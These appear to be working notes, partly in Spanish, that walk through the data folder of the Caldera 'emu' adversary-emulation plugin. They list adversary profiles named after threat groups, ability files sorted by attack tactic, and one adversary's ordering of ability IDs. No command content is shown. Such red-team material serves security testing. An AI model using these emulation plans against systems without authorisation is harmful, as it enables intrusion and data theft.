Extracting all commands for a given adversary

Inspect the plugin emu/data/ folder

(caldera-env)─(attacker㉿kali)-[~/…/caldera/plugins/emu/data]
└─$ ls
abilities      adversaries      adversary-emulation-plans  sources
abilities.txt  adversaries.txt  planners

• adversaries folder:

  cat adversaries.txt 
  adversaries
  ├── 123700e5-44c8-4894-a409-6484992c8846.yml >> FIN6
  ├── 186b4d47-f4c0-48cb-9688-887070db45f1.yml >> Carbanak
  ├── 23ee980e-f0c5-4e88-a02c-56aa862b2c76.yml >> Wizard Spider
  ├── 2c03e8df-284d-4bda-900d-1c9523fba7eb.yml >> Turla Snake
  ├── 4975696e-1d41-11eb-adc1-0242ac120002.yml >> APT29
  ├── b5192070-dff1-4134-bf66-c6b87c7498af.yml >> menuPass
  ├── c30763a7-172c-431e-a877-b18aecf9292a.yml >> FIN7
  ├── c397ca4d-3c68-414e-9f78-2a96a11edbef.yml >> SandWorm team
  ├── db88ae87-8884-42f1-aa06-d7ef9b45721d.yml >> OilRig
  └── eddf38a4-e483-48ec-8874-4983c7a3652b.yml >> Turla - Carbon
  

• Carpeta abilities:

  at abilities.txt                                           
  abilities
  ├── collection
  │   ├── 0b1841bd-ef8b-475c-bce7-8fcb2860984a.yml
  │   ├── 160a1e0f-0f9b-49bb-a0fe-7e362b51737f.yml
  │   ├── 1a9e352f-4edb-480d-b29c-66acb6c4df19.yml
  │   ├── 22ddbc4f-fb5d-4785-8bc8-373da2f3e176.yml
  │   ├── 438939c8-e95a-4fbd-b659-06f0b0b72e47.yml
  │   ├── 453cb643-892b-475d-8db9-df61289749f1.yml
  │   ├── 5692da31-3586-4e4f-8f07-5750070c730b.yml
  │   ├── 5a5c65c7-d0ff-4275-8f8e-ea0b617369bd.yml
  │   ├── 5f3f7045-ae92-4a3e-8b39-35e4f8cc3038.yml
  │   ├── 8b2f52d8-40d8-4f70-bf9e-cb999d325958.yml
  │   ├── 9ec26b39-9d77-4a3d-b309-8c819a2f59e7.yml
  │   ├── a81ea4ad-bc9f-49a7-82d4-4466df641487.yml
  │   ├── b1dcc53a-c86c-46ba-8a3d-e1da74a8db3c.yml
  │   ├── b4fa6d2e-ed9c-4a86-81aa-19331983fe0d.yml
  │   ├── cefe85b8-d1e5-4077-afac-81a6622f4c66.yml
  │   ├── db28f68d-e8b8-46e6-b680-642570d4b257.yml
  │   ├── eac2cf0f-7b51-44d2-83cb-57a34a29b7ff.yml
  │   ├── ee4c2eab-be57-434c-a32c-14b77360301a.yml
  │   ├── f87e0022-4c82-447f-a0d2-52b2be030b6d.yml
  │   ├── fc231955-774f-442c-ac0e-e74dfda50c5c.yml
  │   └── fd27fe6c-4846-4e94-aef9-f6bc21ab0f0e.yml
  ├── command-and-control
  │   ├── 06b694af-f503-44ca-bc3c-bd017f75ed89.yml
  │   ├── 1b21e49a-9550-4616-b125-d790a73165a6.yml
  │   ├── 212995b5-acfc-404b-b3a9-a19cc0afa9a5.yml
  │   ├── 2f3be960-5c00-4f03-a9c2-da09c31d38d9.yml
  │   ├── 38d009be-4ba2-46dc-a321-8be05c07630c.yml
  │   ├── 4468cc14-8e77-44cd-93de-b892253b3e27.yml
  │   ├── 4d5197fa-4ba7-4bfd-9c91-1697ce0a80a4.yml
  │   ├── 58cf78ef-e777-4de8-aeaa-8cc8349be6f7.yml
  │   ├── 5beb978f-dce0-4ccd-b4fa-de47e0adb453.yml
  │   ├── 5cb977ae-87c8-450f-b016-f414b42ba60f.yml
  │   ├── 605bb8dc-f6ef-411c-ad1f-94d91bc23ee6.yml
  │   ├── 60c4ddd6-2ce0-4f5c-8ddb-c5eccd744686.yml
  │   ├── 690e889f-5844-473e-98c5-c90c9f1772dc.yml
  │   ├── 69b0a93e-3c71-42f5-8019-13289d9353b3.yml
  │   ├── 7086ff8c-da64-4b85-a3ee-6157fc0e0a70.yml
  │   ├── 75424a6a-28f5-46fa-834b-508f7d09020a.yml
  │   ├── 7a46a8c9-f46a-481b-8b38-68a3aea68114.yml
  │   ├── 7e3a8de9-edb9-4df4-beef-9577c4562420.yml
  │   ├── 8bd3edc3-14ad-4e44-9e45-9ec8d43f374b.yml
  │   ├── 98279c81-d5a0-4ec4-9d40-a6e87d1f9bd2.yml
  │   ├── 9a438a2a-c95b-4fd2-a29f-8b1250fc3adc.yml
  │   ├── 9c65d9cc-6f72-471c-80e0-4c3029fc5e6d.yml
  │   ├── a85bd5a0-c977-4fd1-b339-97fffed54f8c.yml
  │   ├── b80ca347-2d2a-4e33-8683-1975cda6664f.yml
  │   ├── b8ad9654-80a1-4fde-b2d4-c0de7648621c.yml
  │   ├── ba30987a-efc8-46a6-b0ec-94f4cc53dbff.yml
  │   ├── bd51f583-249a-4995-b5d0-7da7e824bc56.yml
  │   ├── ccbb3c07-dc04-46f5-83d3-54fe71deab3c.yml
  │   ├── cd16fcb6-e1f0-4e0f-bb83-2369516587f2.yml
  │   ├── d5b83af2-b79e-438d-acfc-2641282df698.yml
  │   ├── d760974d-6466-40b9-8532-b6be578428fc.yml
  │   ├── d9787a1d-0fd4-4776-a073-00423a33e7e2.yml
  │   ├── da986326-8d71-4e85-b767-0c8ffc49a2af.yml
  │   ├── f3df5a83-2a5a-4277-8763-8fb51032d3fc.yml
  │   ├── f6c54eb3-f066-4721-812f-0bf6bfea01fc.yml
  │   ├── f96e8195-8b0f-4b87-bdce-748dfda2861f.yml
  │   └── f9ad6b77-518e-4784-9fba-5e4cd97fc455.yml
  ├── commmand-and-control
  │   ├── 095324d9-a6e8-4964-a5ba-92fff6907c2e.yml
  │   ├── 55bef1eb-e1b5-46c6-94b9-a9637688d114.yml
  │   └── bc88a0f3-245f-46a7-be47-42538fd0521d.yml
  ├── credential-access
  │   ├── 05202302-6b80-4549-b3bb-2ead90c249a5.yml
  │   ├── 16abc48a-1f69-4246-83e3-4d0cec0e8d81.yml
  │   ├── 1d317399-d786-4c58-889f-01cf496ba5d2.yml
  │   ├── 1da1b17e-66fd-4f39-bf10-203570a62624.yml
  │   ├── 1dba454c-0e4f-4fe0-8bc9-b17e8c5c9a24.yml
  │   ├── 256ed126-a10c-4736-a074-216ab90da8f2.yml
  │   ├── 267bad86-3f06-49f1-9a3e-6522f2a61e7a.yml
  │   ├── 33d4136a-d5e6-45f2-b0e1-786d3ec8bf02.yml
  │   ├── 3de63509-4171-488f-8938-ce346677a5a6.yml
  │   ├── 40934e60-6b0d-4d3b-a8f5-ad111c6a0abc.yml
  │   ├── 4ef6009d-2d62-4bb4-8de9-0458df2e9567.yml
  │   ├── 5746a074-1f51-4a96-8e69-f7eb81578f5e.yml
  │   ├── 5c034afc-1f10-4e92-8d77-afed302d7de5.yml
  │   ├── 65639630-733c-4179-8543-2c64cb577ca0.yml
  │   ├── 8e965415-40be-40f8-8786-da4f67748fef.yml
  │   ├── 97412b40-4940-4da1-8bff-6f11d42bca26.yml
  │   ├── 99748bd2-530e-47b6-b6d7-576d4f573b6d.yml
  │   ├── a23fb84f-dfb7-4d07-a6ec-0352ae983651.yml
  │   ├── bb98782b-2519-4721-a723-b8f027b441d4.yml
  │   ├── c4f4b13c-87b6-498c-b814-93570173068c.yml
  │   ├── c7e4a043-e67a-4199-8e52-d7d5219a7614.yml
  │   ├── dc3152ac-1014-4f96-98c9-a64d5a61712e.yml
  │   ├── e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml
  │   ├── e895decc-93fa-42bb-8609-3a62d14fcb60.yml
  │   ├── effbedc1-1bc8-4a75-9395-980559700008.yml
  │   ├── f01e86f9-0b66-4191-beee-324c380690df.yml
  │   ├── fe3d4de1-50bf-4241-9546-72dc757e696f.yml
  │   ├── ff77db3d-ded1-48da-9885-8dfc097edec0.yml
  │   └── ffb50e17-cb3c-4424-a4e7-99e3885f22cc.yml
  ├── credential-dumping
  │   ├── 31e07036-7e57-4405-854e-827b9ef8b434.yml
  │   └── 473e5707-5786-4f53-934f-22175c1059b0.yml
  ├── defense-evasion
  │   ├── 057a6b9b-36d6-456d-aa28-66e61295dd9c.yml
  │   ├── 0c5cf9e2-3152-4b4c-9629-2ed7a00da09d.yml
  │   ├── 0daff7a0-d1e4-4bf2-8100-c0a824a34c52.yml
  │   ├── 16767c68-a865-46af-a0e4-ff8d742efc3f.yml
  │   ├── 1fe4de9d-d8d3-4188-8a2a-6ff42394400c.yml
  │   ├── 38023f7d-d776-46bb-bbfc-1f4853e8169b.yml
  │   ├── 4945a1e5-75ab-4665-8441-6995105edf38.yml
  │   ├── 50cf48b9-2076-4efc-80f1-5b8f421ecae4.yml
  │   ├── 5f7dc4b3-1287-4a25-b0b0-b6e73756cc11.yml
  │   ├── 6482ba12-fa47-409c-bab8-704de6475e38.yml
  │   ├── ca32f105-2e35-4524-8589-0f71d92d98f6.yml
  │   ├── d702d810-3414-4e38-8cbc-22fc429d2da4.yml
  │   ├── d91962e6-cb75-4f29-b2ce-36db15415e40.yml
  │   ├── d9c9a941-c0e8-4eed-8cc3-6511ad5b9e15.yml
  │   ├── e238f1b5-a4e7-464d-82eb-36d0cc875434.yml
  │   ├── e7c827d6-57f8-40d0-b3a9-e03b2e4d0484.yml
  │   ├── eb99abcb-93e2-4a3e-bf05-a484839dc851.yml
  │   ├── f3678315-cdbb-4579-b25d-f92783e5599b.yml
  │   └── f8ab9b59-89a7-4c25-90bf-0c2485785a36.yml
  ├── defensive-evasion
  │   ├── 03afada1-1714-408f-bde5-f528b91dc89d.yml
  │   ├── 1b9e018d-986d-42d9-bb8b-0e104e98ce9c.yml
  │   ├── 208b021b-c79a-4176-8ad1-3af99ed50c6f.yml
  │   ├── 4a2ad84e-a93a-4b2e-b1f0-c354d6a41278.yml
  │   ├── 4bedbd9b-a570-4f9f-b78a-2f7f99ad5e92.yml
  │   ├── 5226e5dc-fc28-43b7-a679-0db49d520402.yml
  │   ├── 5ff80022-8d85-410b-b868-6c7565b267e5.yml
  │   ├── 68b588bc-002a-42dc-bac7-9189f944065b.yml
  │   ├── 6b90da47-13d0-48fc-8f07-0a1e6d5d876e.yml
  │   ├── 9b518cfb-125f-466e-872b-4f8171773ce5.yml
  │   ├── 9b5b5aec-32ff-4d74-8555-727b50ab15f6.yml
  │   ├── 9fefcde6-083a-4440-8eca-dc03d30c0bcb.yml
  │   └── a4b14c10-49aa-4ae4-b165-d5a37364fe62.yml
  ├── discovery
  │   ├── 02a96c18-f700-482d-88a8-bd311f6c41dc.yml
  │   ├── 0386ef16-757e-425c-8355-88e5be40eb32.yml
  │   ├── 06dd8117-caaf-4535-a70f-cc31268fd9b8.yml
  │   ├── 09502b3c-7541-4c11-92a9-f55e683a6355.yml
  │   ├── 0cfadbcb-ec21-44ae-adb7-9a23176dd620.yml
  │   ├── 13d5ab62-c05a-4d25-bd8f-e3b27a5be611.yml
  │   ├── 144b1384-5060-494f-80eb-91772695cdf3.yml
  │   ├── 178bb431-4eaf-43b1-922c-f484ab54bbee.yml
  │   ├── 1a925a0f-7f95-4d5c-9f95-9408f65063a6.yml
  │   ├── 1c8552c7-f7ed-4523-b640-72d65af5f855.yml
  │   ├── 1f30fdc6-88c0-4c69-958d-6101468bd0ec.yml
  │   ├── 24ed020e-4730-4000-b6b4-6b5d3e95314f.yml
  │   ├── 26181249-be75-41ed-9fe7-5c30ea8c2d4d.yml
  │   ├── 27083aa1-9a0d-4fe4-9154-fa6f0598e2f9.yml
  │   ├── 2738b811-a360-4a4f-af9d-704343ebab4d.yml
  │   ├── 29c018ed-eb3e-4ddb-90ec-ba3d928a00e8.yml
  │   ├── 2b5a72b1-01e4-48ae-98b0-2570a7894371.yml
  │   ├── 2ff877b4-0c00-401e-9d3f-070c70b610df.yml
  │   ├── 32dd2b5f-5798-4c05-9d65-ee1e2d494cee.yml
  │   ├── 35d95b64-c1f8-4ac7-a2f2-8959218239cd.yml
  │   ├── 3d450711-1062-4276-8bff-bb78ec4f4519.yml
  │   ├── 41610306-087c-4c34-874b-37b8ed633a36.yml
  │   ├── 41ce9dd8-dc9f-4fba-8ce9-9ef5aaee3d19.yml
  │   ├── 44daae27-4c78-4a38-9a68-88aeabd87a32.yml
  │   ├── 46430565-f9e8-4580-b497-f5f561962d95.yml
  │   ├── 4750c01e-98fc-43f8-8178-14bcc66c2cc9.yml
  │   ├── 48927544-5a18-11ed-9b6a-0242ac120002.yml
  │   ├── 4e31798e-f973-4480-aa38-3372c44c29c9.yml
  │   ├── 4e39b630-f2d7-405e-a4ef-d11cf79db1be.yml
  │   ├── 4f222cd4-4c53-4cf5-869f-335a51711d8a.yml
  │   ├── 53e87d17-b904-4739-92f0-4b5169d9a1d4.yml
  │   ├── 59592c35-8207-4896-8d8b-36ad4600245d.yml
  │   ├── 5b24eef2-7a7f-4d34-8cab-e588074c59bc.yml
  │   ├── 5c23f638-9cfc-4fc4-9cab-4af628fef70a.yml
  │   ├── 5c279562-a004-4d9c-9ec6-a7dc4997f699.yml
  │   ├── 5dbc34ff-eb4d-4897-8c4e-8288e5dd9e88.yml
  │   ├── 5df12481-9d8c-4235-b550-9cefc8ed7361.yml
  │   ├── 5f4263c4-7ff1-4098-b5f5-f41faa31cf5b.yml
  │   ├── 61221fb9-cb32-46d5-98fd-90567a621526.yml
  │   ├── 6222bcab-b7ec-4523-a236-273d48270649.yml
  │   ├── 628e8ad3-14af-4670-b797-bcf175a42842.yml
  │   ├── 6315f9e9-a6ee-46f2-b846-24f9c3c219c9.yml
  │   ├── 646be6c9-f27a-4f5f-be5d-b8a0317e215f.yml
  │   ├── 64f1fcb4-399d-4f3b-9a6b-13ec00e1c2ce.yml
  │   ├── 65dd006d-a76e-423d-83f2-6c29b66690e1.yml
  │   ├── 69ce4dd6-ab00-4c63-bcfd-ab02da96c63a.yml
  │   ├── 6a7b4ba0-a9bb-451d-ba9f-d3a2e8a82ffe.yml
  │   ├── 6f1f4768-7099-45d2-a858-b49dc792234e.yml
  │   ├── 70a19730-04e9-45be-8463-7a359eaee657.yml
  │   ├── 71c20631-adf4-4073-9f2f-6ab7f053326f.yml
  │   ├── 73decaa1-5ba3-4739-812d-633929a158fd.yml
  │   ├── 75efc0b8-eafa-4300-8e7b-5e56179944e8.yml
  │   ├── 76c8f978-cc38-4281-8236-ecb7fae8f99c.yml
  │   ├── 7877ec4d-3c11-40f2-9650-35261e4ac879.yml
  │   ├── 7971246d-1392-411e-a803-a7946cf9e4d2.yml
  │   ├── 7c2a6e5b-1adb-464f-a581-4677391f8dd6.yml
  │   ├── 814005f7-c8d3-45c8-aea2-45758b2d6e90.yml
  │   ├── 821fd81e-2086-4ea6-b792-fb9e044e2323.yml
  │   ├── 84377d7a-0363-44fd-a082-44657ca1858f.yml
  │   ├── 8649c19c-0e25-43f3-a267-e0c0c92dd74f.yml
  │   ├── 87d3322b-a435-47b5-9f97-a8db4f86dad5.yml
  │   ├── 88378065-bedf-46b9-a8b7-bc5897f4abcb.yml
  │   ├── 90cbd004-d5e9-4b05-9abe-12b93f77ede3.yml
  │   ├── 96140694-6d13-40b6-9553-0e63533469f3.yml
  │   ├── 9c5d756e-c72a-40d0-838d-3ace6cc96a09.yml
  │   ├── 9ce5bf9f-44ec-44c4-bbe0-6d68a83e1b76.yml
  │   ├── 9d543214-6476-429a-9ca1-cf12233b808c.yml
  │   ├── a34ab8f2-a106-41fb-af0b-cf5382bd18ae.yml
  │   ├── a42be479-fc26-4d7c-9e63-7a9b74e4c8d2.yml
  │   ├── a750b196-8168-461a-8747-bdc4add107ac.yml
  │   ├── a9861ea9-4f9a-46c9-ba60-15a02806dfdc.yml
  │   ├── aa1b8eef-2c76-4184-b7a7-2b5c175e49f6.yml
  │   ├── ae4e4c08-82cb-4a17-a873-660f851a1a38.yml
  │   ├── b6026408-c815-47ca-bbb0-6b74591badc8.yml
  │   ├── ba0b398d-91b8-490a-bed2-f959afa8e1aa.yml
  │   ├── bb06008c-561b-4a98-992e-fb7a0432aa45.yml
  │   ├── bf90a64c-5367-4de6-93b5-a718189803c3.yml
  │   ├── c66c3b49-719f-4643-a307-4a889177b61d.yml
  │   ├── cb8e9faa-ac00-48d8-a359-88044a2c0252.yml
  │   ├── ced2de73-54fa-49ec-b60d-de635dcde620.yml
  │   ├── d04a02e1-a05c-46f8-adf0-c036266fe0a1.yml
  │   ├── d19678ac-3bca-475e-89d4-f452bfc2cc2a.yml
  │   ├── d2ea2676-7f85-4228-b980-ab3c0e1adc03.yml
  │   ├── d30692dd-779f-4a40-b947-de23dabbb033.yml
  │   ├── d5170a60-3bdc-44e0-9870-a38db5c0cf81.yml
  │   ├── d761e02e-fea4-457e-a434-aa49383b7996.yml
  │   ├── da810df4-c1c2-48f1-a29a-765098acec17.yml
  │   ├── dc4236df-0484-4763-891a-c2f6ede5293d.yml
  │   ├── de39f574-f6cc-4026-973e-c5370b36220b.yml
  │   ├── def5cfe8-7aea-4cd3-803f-2c55e616c1fe.yml
  │   ├── e0b534a6-bff3-4964-8f7b-863ddee224b0.yml
  │   ├── e132a235-fe43-45c2-a334-2f235a7646b5.yml
  │   ├── e44a39ce-0651-3ddd-8f05-f83aa2ffd657.yml
  │   ├── e4cdb5c6-d322-3b6e-ac8e-68b2e8a7dd4c.yml
  │   ├── e639caf1-8987-4aad-b6f1-6a1d186e2ec9.yml
  │   ├── e6eb7d18-606e-4889-8924-f75cafa92811.yml
  │   ├── e870a202-354f-4214-82e6-c5f88cb33b65.yml
  │   ├── eb66d327-3f82-4433-8897-76cd8a46865b.yml
  │   ├── ed2471a9-1eeb-4787-a5d8-61f66b278a50.yml
  │   ├── ed40220d-9d1f-4191-b73f-54f17278e256.yml
  │   ├── ee08a427-1e1d-4d8a-aeb1-978a7fcf9087.yml
  │   ├── execution
  │   │   └── ab937ef4-7c66-4349-ad3b-658c41fcf4c5.yml
  │   ├── f1f34439-ca0d-4fe7-99af-a198a29b6a3e.yml
  │   ├── f2462df4-2867-4d72-b3f1-ffa9a7431f87.yml
  │   ├── f320eebd-e75b-4194-b529-79e64ad0b9ee.yml
  │   ├── f6de05d2-5ec5-4d27-b19c-f8cf817d6213.yml
  │   ├── f9c0b150-822f-497b-ad6d-187f24561e9a.yml
  │   ├── f9f1bd68-ec0a-47e7-8645-210844190d92.yml
  │   ├── fa3ea4c1-c980-41b1-be78-c8c932d68e98.yml
  │   └── faa96e7f-081a-40b7-a743-a6a7f2627ea3.yml
  ├── execution
  │   ├── 0328ddeb-cc6b-4971-b695-771178b50ed7.yml
  │   ├── 08e57385-dbce-4850-8bb7-589ef79465ab.yml
  │   ├── 0970d7d6-279a-4ad8-a334-cfe0b5e7e0a6.yml
  │   ├── 09fc13b4-b345-41ce-b5a8-4214a37b627a.yml
  │   ├── 0c752dce-9302-4465-805f-522650aece3f.yml
  │   ├── 44073aa3-70e9-4a48-86b7-c25b6f29c25c.yml
  │   ├── 5599b7cf-6e8d-43c1-a311-e953dd0fbd2a.yml
  │   ├── 571845f6-b75c-4b9d-a666-a78f7827261f.yml
  │   ├── 57771abd-0789-4dda-bb02-31359e6860db.yml
  │   ├── 5dcbd042-e8e5-4f3f-8055-7284e4d5112c.yml
  │   ├── 62f66621-1ff8-4054-bbd8-b3f374d55199.yml
  │   ├── 658daa6f-97c0-41c0-af97-d6b4969d2e7c.yml
  │   ├── 661efd66-d876-41de-88ee-ba9ec4328154.yml
  │   ├── 79dae739-fd89-4842-946e-a4675110814e.yml
  │   ├── 82d2f5c7-7561-4d91-96d2-959473b9ad2b.yml
  │   ├── 88bb16c5-f78b-45c3-91b6-a7422cd2fb13.yml
  │   ├── 8911d502-747a-4155-adcd-b03a1f284ee7.yml
  │   ├── 954ee411-8443-41f9-9a0c-f8ac032b68e7.yml
  │   ├── 95564347-e77a-4a89-b08f-dcafa5468f2c.yml
  │   ├── a5daa530-c640-49bc-aa54-6808789a684a.yml
  │   ├── b393c022-329a-4c52-ab1f-eb594ee8d3cd.yml
  │   ├── b43fb6c6-05d2-42ff-9083-e70d5dbea078.yml
  │   ├── bb4dd7c0-c5df-4321-94ca-cb7da59b9c32.yml
  │   ├── bcea95e5-76a0-4774-b51d-cdf6b1fd9ce0.yml
  │   ├── bdf16e6e-ad27-4513-9d54-64289440265f.yml
  │   ├── c29e9cc7-b34f-46c2-bdbe-a41f757eae24.yml
  │   ├── c4a59e39-53b0-4ace-9528-8ff052752ece.yml
  │   ├── c5bceb16-2f13-40a5-b460-9adb1d567b76.yml
  │   ├── d77838f6-d562-3480-ad29-2cbeee8b7b45.yml
  │   ├── e4027dff-280b-4964-82be-b35a40c4a493.yml
  │   ├── e506f811-884d-4992-aacb-514b33a0324f.yml
  │   └── eb4c2ff6-3534-404c-bf1c-d864a508c162.yml
  ├── exfiltration
  │   ├── 021245dd-c0be-4900-bd6c-1c680f00a237.yml
  │   ├── 2d18c8ec-4593-49dc-9bf4-11d0673d6ae6.yml
  │   ├── 4840d6dd-da13-401a-be46-05db56f4e1e0.yml
  │   ├── 4d10b3a8-6199-4615-861f-e4292630a9b9.yml
  │   ├── 6824cbb6-f3e1-4081-8a63-d72ae368cb23.yml
  │   ├── 68e209dd-f354-4adc-8bc6-e85a3e55a7f4.yml
  │   ├── 78d94199-7e0e-442b-81a6-32f8e419a7ac.yml
  │   ├── 845d36f1-13b6-4d42-a384-aa2f4af9bc27.yml
  │   ├── 854c63de-cc94-4581-81b0-4c2292123898.yml
  │   ├── 885c14a2-bc56-4176-8671-4cb25489ae39.yml
  │   ├── 89b84389-036e-4c3d-a490-bf8ba50bffe8.yml
  │   ├── a612311d-a802-48da-bb7f-88a4b9dd7a24.yml
  │   ├── e74554b8-0bc9-3d50-95a4-e45421925b49.yml
  │   └── ea4bc858-ba13-4f97-9df3-c543d8f3d44c.yml
  ├── hijack-execution-flow---dll-search-order-hijacking
  │   └── ab48e12f-def0-40a4-b3d9-ad958f45202a.yml
  ├── impact
  │   ├── 180eb3b8-1590-4b77-9b8c-7972c198f09e.yml
  │   ├── 3f878fc6-d5b0-4c95-b022-88f0becbb61e.yml
  │   ├── 4b2e9574-b1a7-4b38-95b2-6054ded9c4fe.yml
  │   ├── 9a39f75e-215d-4ef5-b505-ce81be74d58f.yml
  │   └── f820b93d-6176-4a72-a138-a70b0b549c49.yml
  ├── initial-access
  │   ├── 2c7ad0e1-d112-4c71-8deb-38bc3ce5654b.yml
  │   ├── 4b6ed411-6b13-484e-bed6-60b07562d6de.yml
  │   ├── 5ca7a1b3-ff43-4057-b41f-0d8d4ecae848.yml
  │   └── 78f44095-73b0-4ab4-a4cc-e5090ae1ae44.yml
  ├── lateral-movement
  │   ├── 00446217-53ca-4749-bacd-f41fe189d36e.yml
  │   ├── 070bfb3d-6938-4745-b1e7-039c97fdb7ca.yml
  │   ├── 0ee2902a-f75e-4367-9e99-2124d3070b4e.yml
  │   ├── 2093de68-db55-4c75-82d1-3abd5fc58028.yml
  │   ├── 2d061b67-5d49-4a0c-a7af-1b8a3a6fdd78.yml
  │   ├── 2f107b88-065f-4d91-9d46-212212b235d5.yml
  │   ├── 386b614d-7237-4d1a-a6dd-543f6f515bd4.yml
  │   ├── 4983721e-9633-4e33-bc2f-b4e9f58336a0.yml
  │   ├── 4b1748e5-532c-453c-b195-557ce5550fef.yml
  │   ├── 51da22bc-a6a4-4d60-95ab-d61af87a23d0.yml
  │   ├── 6b9da996-145e-40b1-935f-6818a89bb561.yml
  │   ├── 6ffca252-9eb0-4ac0-93dd-35c9e7c6fae0.yml
  │   ├── 824d5eda-7743-4c10-89d8-143d4bc50eda.yml
  │   ├── 83a79c7d-721c-44ac-b8d5-d9ba2bc84852.yml
  │   ├── 8c6a546b-e03b-4761-b422-8eaf40f59580.yml
  │   ├── 8c6bfbe8-60f0-4ca8-a955-c35be84be374.yml
  │   ├── 94942df6-6833-4e69-a6f7-89fda0ef25e1.yml
  │   ├── 95d6c92c-e328-4997-ae01-507b709dfa7b.yml
  │   ├── 9a76889c-9518-4b3e-9c87-6618156015c6.yml
  │   ├── a86485c0-772d-4159-aa6f-5c2a9bb13ac8.yml
  │   ├── acecc8f7-18c2-41fd-87bc-39ffd644e4e9.yml
  │   ├── b4018de2-bb0c-493e-8fe3-5f355831012f.yml
  │   ├── b82639f7-530b-4ff5-baa8-ff249cd73df4.yml
  │   ├── bddc0abc-07a0-41b7-813f-e0c64d9226b3.yml
  │   ├── dc2efbdd-3ab4-44a0-9839-385540b8a8cc.yml
  │   ├── ded4d5a0-bcd6-41f8-899b-9fa4fddac445.yml
  │   ├── dedb77a9-16b9-498c-bd07-074891abd345.yml
  │   ├── e45dc48f-45f1-42d2-850c-4a15385c1646.yml
  │   ├── ee1e23ad-87d4-4d69-932f-2e5631508c8e.yml
  │   ├── f50f8f39-2fb0-4fe3-9e2d-9af38aee447d.yml
  │   └── fea61ba7-d932-4a42-b988-5cf9de3ed118.yml
  ├── os-credential-dumping
  │   └── b15d3014-a5d1-4ec6-934b-d7fe44451192.yml
  ├── persistence
  │   ├── 04cf7962-28c4-40fb-8915-1fd632393a6f.yml
  │   ├── 0864a91a-ae17-1cce-8b89-d4f8f2854699.yml
  │   ├── 1536bbcf-858e-44c2-95cb-ebd46d7434be.yml
  │   ├── 236d1357-64f9-4a98-afc1-bccaa89aba8c.yml
  │   ├── 236fd943-2bd8-400a-9a63-33f724629ca4.yml
  │   ├── 36d93251-6932-49b9-82ad-994abd27730a.yml
  │   ├── 384f3d1f-97f1-4070-98c5-764de023ed2c.yml
  │   ├── 43aad2d6-d16a-4adb-aa2b-9510a3be4c52.yml
  │   ├── 44d82f6f-f367-4db7-aa65-a9e5717b1a21.yml
  │   ├── 45f18b58-c14f-4b61-a3da-41b67af21429.yml
  │   ├── 6249ff61-75ec-4ead-8ca2-e8d9fbbc225a.yml
  │   ├── 6af29018-9779-49aa-ad8e-66627a23f329.yml
  │   ├── 6dd62c1c-b65c-4e28-b241-04121cbbc9af.yml
  │   ├── 6ec6561b-e535-4fe3-9c20-a52e5982b513.yml
  │   ├── 7aaecfb7-a1eb-477c-8d53-ab3009389623.yml
  │   ├── 82d61362-0f60-45d9-a3e1-26ec20cb3387.yml
  │   ├── 9c75155e-21ab-4471-af16-45f3795a313c.yml
  │   ├── afb8d8f7-d059-4825-95ae-c5727e2db320.yml
  │   ├── c4c08a1f-15d6-4dfd-9ba7-9b61594762ff.yml
  │   ├── c90bbb6c-f9bd-4811-b7b7-c923902a8bde.yml
  │   └── f6d72009-d093-461a-986c-e1ab9b04db51.yml
  ├── privilege-escalation
  │   ├── 088b8639-3f37-42cc-9dc8-01aabb645461.yml
  │   ├── 1345bff7-6f26-43b2-a92a-9aabccdb3db0.yml
  │   ├── 89e9dffa-8836-4672-8cf3-bebd006d2a2b.yml
  │   ├── 8ba8405b-d8b9-4c9d-ae8e-3b21ae8f64c6.yml
  │   ├── a2621060-73a5-461b-918d-88a86f83c21b.yml
  │   ├── a89ea459-97ec-28fd-a552-9d305f023bbe.yml
  │   ├── c3f875d8-ab9b-46ef-acf6-7926f7b93d78.yml
  │   ├── d5e29782-72ca-45f0-b286-09525ae91d75.yml
  │   └── decf0a4d-6ff1-474f-af0c-5b652401a5e4.yml
  ├── stage-capabilities
  │   └── 4f7d21c9-ea31-4943-ad8a-efbbeeccdd7d.yml
  └── x
      ├── 00a08c4d-d023-4b2a-8244-651f37d23e2c.yml
      ├── 02772b8f-4f3b-42c6-9705-1d05b33ad19a.yml
      ├── 2386792f-7bc9-445d-b868-64a0031ea40d.yml
      ├── 349d3879-c849-493a-989e-6d7f40015f54.yml
      ├── 3e20bbc1-b60a-4129-88b5-627b7b4ac17d.yml
      ├── 42859ec4-b714-48ca-be74-9438bbbaaf7b.yml
      ├── 49f05abe-1637-46c4-84ba-bd2fc0d6278f.yml
      ├── 4cedd0ef-c802-431d-a4a1-eaf1163543f3.yml
      ├── 771a00b3-2b39-436d-b003-b58cacffa774.yml
      ├── 8d5799fe-c9b2-42a4-bb1d-a0603d9d88ea.yml
      ├── 9a49d734-c69a-4a6b-b726-5a2a86edf418.yml
      ├── 9b50feb8-41a2-489a-a863-75240743734c.yml
      ├── a2e76ec5-6417-4da6-8a16-62ad85b49fa8.yml
      ├── b7190a39-c5f1-4955-8923-44807d8069e7.yml
      ├── c4e2f189-ef8d-4073-abfb-1d3449af464b.yml
      ├── cb7d5320-981f-496e-bdb0-b6535025e59e.yml
      ├── cc9d5006-80d1-4dc5-863b-c38522ad5270.yml
      ├── d042e47d-0519-41e7-a0f1-3190f3fcf43d.yml
      ├── e1d2f62e-0abf-4220-898b-4243d287466a.yml
      ├── eddd5776-886a-4cde-97b7-46bf095ea049.yml
      ├── f6690cfd-073d-49c4-bd1b-1194aeb26780.yml
      └── fdcbcf07-0487-4757-8b09-6c1ce93220b9.yml
  
  21 directories, 375 files
  

An adversaries:

  atomic_ordering:
  - e44a39ce-0651-3ddd-8f05-f83aa2ffd657 >> discovery
  - 5b24eef2-7a7f-4d34-8cab-e588074c59bc >> discovery
  - d30692dd-779f-4a40-b947-de23dabbb033
  - 02a96c18-f700-482d-88a8-bd311f6c41dc
  - e4cdb5c6-d322-3b6e-ac8e-68b2e8a7dd4c
  - 2738b811-a360-4a4f-af9d-704343ebab4d
  - a89ea459-97ec-28fd-a552-9d305f023bbe
  - ff77db3d-ded1-48da-9885-8dfc097edec0
  - 97412b40-4940-4da1-8bff-6f11d42bca26
  - fd27fe6c-4846-4e94-aef9-f6bc21ab0f0e
  - 6824cbb6-f3e1-4081-8a63-d72ae368cb23
  - 78d94199-7e0e-442b-81a6-32f8e419a7ac
  - e4027dff-280b-4964-82be-b35a40c4a493
  - 661efd66-d876-41de-88ee-ba9ec4328154
  - 44d82f6f-f367-4db7-aa65-a9e5717b1a21
  - 0864a91a-ae17-1cce-8b89-d4f8f2854699 >> persistence 
